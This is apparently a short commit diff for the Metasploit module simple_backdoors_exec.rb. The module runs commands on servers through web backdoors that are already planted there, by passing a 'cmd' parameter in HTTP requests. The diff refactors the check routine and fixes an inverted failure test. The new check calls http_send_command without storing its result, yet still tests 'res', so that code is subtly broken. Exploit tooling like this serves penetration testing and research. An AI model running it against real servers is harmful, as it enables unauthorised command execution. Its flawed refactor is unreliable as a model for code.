Update simple_backdoors_exec.rb

Updating the code as suggested

modules/exploits/multi/http/simple_backdoors_exec.rb

@@ -58,14 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def check
     test = Rex::Text.rand_text_alpha(8)
-    res = send_request_cgi({
-      'method'  => 'GET',
-      'uri'             => normalize_uri(target_uri.path),
-      'vars_get'       =>
-        {
-          'cmd' => test
-        }
-    })
+    http_send_command(test)
     if res && res.body =~ /#{test}/
       return Exploit::CheckCode::Vulnerable
     end
@@ -80,9 +73,10 @@ class Metasploit3 < Msf::Exploit::Remote
         'cmd' => cmd
       }
     })
-    if !res && res.code == 200
+    unless res && res.code == 200
       fail_with(Failure::Unknown, "Failed to execute the command.")
     end
+    res
   end
 
   def exploit